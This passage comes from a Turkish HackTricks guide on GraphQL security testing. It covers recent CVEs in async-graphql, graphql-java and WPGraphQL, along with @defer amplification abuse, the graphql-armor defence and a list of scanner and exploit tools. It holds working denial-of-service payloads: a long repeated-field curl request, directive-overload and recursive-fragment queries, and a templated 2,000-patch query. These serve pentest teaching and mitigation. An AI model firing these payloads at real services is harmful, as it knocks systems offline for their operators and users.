\n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'
Son Zafiyetler (2023-2025)
GraphQL ekosistemi çok hızlı evriliyor; son iki yılda en çok kullanılan server kütüphanelerinde birkaç kritik sorun ifşa edildi. Bir GraphQL uç noktası bulduğunuzda bu nedenle motorun parmak izini almak (bkz. graphw00f) ve çalıştırılan sürümü aşağıdaki zafiyetlerle karşılaştırmak faydalıdır.
CVE-2024-47614 – async-graphql directive-overload DoS (Rust)
- Etkilenen: async-graphql < 7.0.10 (Rust)
- Kök neden: çoğaltılmış direktifler için limit yok (ör. binlerce
@include) ve bunlar üssel sayıda yürütme düğümüne genişliyor. - Etki: tek bir HTTP isteği CPU/RAM’i tüketip servisi çökertebilir.
- Düzeltme/azaltma: ≥ 7.0.10’a yükseltin veya
SchemaBuilder.limit_directives()çağırın; alternatif olarak"@include.*@include.*@include"gibi bir WAF kuralı ile istekleri filtreleyin.
# PoC – repeat @include X times
query overload {
__typename @include(if:true) @include(if:true) @include(if:true)
}
CVE-2024-40094 – graphql-java ENF depth/complexity bypass
- Etkilenen: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
- Kök neden: ExecutableNormalizedFields,
MaxQueryDepth/MaxQueryComplexityinstrumentation tarafından dikkate alınmıyordu. Bu nedenle recursive fragments tüm limitleri atlatıyordu. - Etkisi: graphql-java içeren Java stack’lerine karşı kimlik doğrulaması gerektirmeyen DoS (Spring Boot, Netflix DGS, Atlassian products…).
fragment A on Query { ...B }
fragment B on Query { ...A }
query { ...A }
CVE-2023-23684 – WPGraphQL SSRF to RCE zinciri
- Etkilenen: WPGraphQL ≤ 1.14.5 (WordPress eklentisi).
- Kök neden:
createMediaItemmutation saldırgan kontrollüfilePathURLs kabul ediyordu; bu, iç ağ erişimine ve dosya yazımına izin veriyordu. - Etkisi: kimlik doğrulamalı Editörler/Yazarlar metadata endpoint’lerine erişebilir veya uzak kod yürütme için PHP dosyaları yazabilirler.
Kademeli teslim kötüye kullanımı: @defer / @stream
2023’ten bu yana çoğu büyük sunucu (Apollo 4, GraphQL-Java 20+, HotChocolate 13) GraphQL-over-HTTP WG tarafından tanımlanan incremental delivery direktiflerini uyguladı. Her deferred patch ayrı bir chunk olarak gönderildiğinden toplam yanıt boyutu N + 1 (envelope + patches) olur. Binlerce küçük deferred alan içeren bir sorgu, saldırgana sadece tek bir istek maliyetiyle büyük bir yanıt üreterek klasik bir amplification DoS oluşturur ve yalnızca ilk chunk’ı inceleyen body-size WAF kurallarını atlatmanın bir yoludur. WG üyeleri riski kendileri işaret etti.
Örnek payload 2 000 patch üretiyor:
query abuse {
% for i in range(0,2000):
f{{i}}: __typename @defer
% endfor
}
Önlem: üretim ortamında @defer/@stream’i devre dışı bırakın veya max_patches, kümülatif max_bytes ve yürütme süresini zorunlu kılın. graphql-armor gibi kütüphaneler (aşağıya bakınız) zaten makul varsayılanları uygular.
Savunma middleware’leri (2024+)
| Proje | Notlar |
|---|---|
| graphql-armor | Escape Tech tarafından yayımlanan Node/TypeScript doğrulama middleware’i. Sorgu derinliği, alias/field/directive sayıları, token’lar ve maliyet için tak-çalıştır limitleri uygular; Apollo Server, GraphQL Yoga/Envelop, Helix vb. ile uyumlu. |
Hızlı başlangıç:
import { protect } from '@escape.tech/graphql-armor';
import { applyMiddleware } from 'graphql-middleware';
const protectedSchema = applyMiddleware(schema, ...protect());
graphql-armor artık aşırı derin, karmaşık veya direktif ağırlıklı sorguları engelleyerek yukarıdaki CVE’lere karşı koruma sağlar.
Araçlar
Zafiyet tarayıcıları
- https://github.com/dolevf/graphql-cop: GraphQL uç noktalarının yaygın yanlış yapılandırmalarını test eder
- https://github.com/assetnote/batchql: Toplu GraphQL sorguları ve mutasyonları gerçekleştirmeye odaklanan GraphQL güvenlik denetim betiği.
- https://github.com/dolevf/graphw00f: Kullanılan GraphQL’in fingerprint’ini çıkarır
- https://github.com/gsmith257-cyber/GraphCrawler: Şema çekmek, hassas verileri aramak, yetkilendirmeyi test etmek, şemalara brute force uygulamak ve belirli bir tipe giden yolları bulmak için kullanılabilen araç seti.
- https://blog.doyensec.com/2020/03/26/graphql-scanner.html: Bağımsız veya Burp extension olarak kullanılabilir.
- https://github.com/swisskyrepo/GraphQLmap: Ayrıca saldırıları otomatikleştirmek için bir CLI istemcisi olarak kullanılabilir:
python3 graphqlmap.py -u http://example.com/graphql --inject - https://gitlab.com/dee-see/graphql-path-enum: Bir GraphQL şemasında belirli bir tipe ulaşmanın farklı yollarını listeleyen araç.
- https://github.com/doyensec/GQLSpection: InQL’in Standalone ve CLI modlarının halefi
- https://github.com/doyensec/inql: Gelişmiş GraphQL testleri için Burp eklentisi veya python betiği. Scanner InQL v5.0’in çekirdeğidir; bir GraphQL uç noktasını veya yerel bir introspection şema dosyasını analiz edebilirsiniz. Tüm olası sorgu ve mutasyonları otomatik oluşturur ve analiziniz için yapılandırılmış bir görünümde düzenler. Attacker bileşeni, kötü uygulanmış rate limitleri aşmak için kullanışlı olabilecek toplu GraphQL saldırıları gerçekleştirmenizi sağlar:
python3 inql.py -t http://example.com/graphql -o output.json - https://github.com/nikitastupin/clairvoyance: Bazı GraphQL veritabanlarının mutasyon ve parametre isimlerini önermesinden faydalanarak introspection kapalı olsa bile şemayı almaya çalışır.
Yaygın zafiyetleri istismar etmek için scriptler
- https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS: Zayıf GraphQL ortamlarındaki hizmeti engelleme (DoS) zafiyetlerini istismar etmek için script koleksiyonu.
İstemciler
- https://github.com/graphql/graphiql: GUI istemcisi
- https://altair.sirmuel.design/: GUI istemcisi
Otomatik Testler
https://graphql-dashboard.herokuapp.com/
- AutoGraphQL’i açıklayan video: https://www.youtube.com/watch?v=JJmufWfVvyU
Referanslar
- https://jondow.eu/practical-graphql-attack-vectors/
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4
- http://ghostlulz.com/api-hacking-graphql/
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://portswigger.net/web-security/graphql
- https://github.com/advisories/GHSA-5gc2-7c65-8fq8
- https://github.com/escape-tech/graphql-armor
- https://blog.doyensec.com/2025/12/02/inql-v610.html
- https://github.com/nicholasaleks/graphql-threat-matrix
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
HackTricks

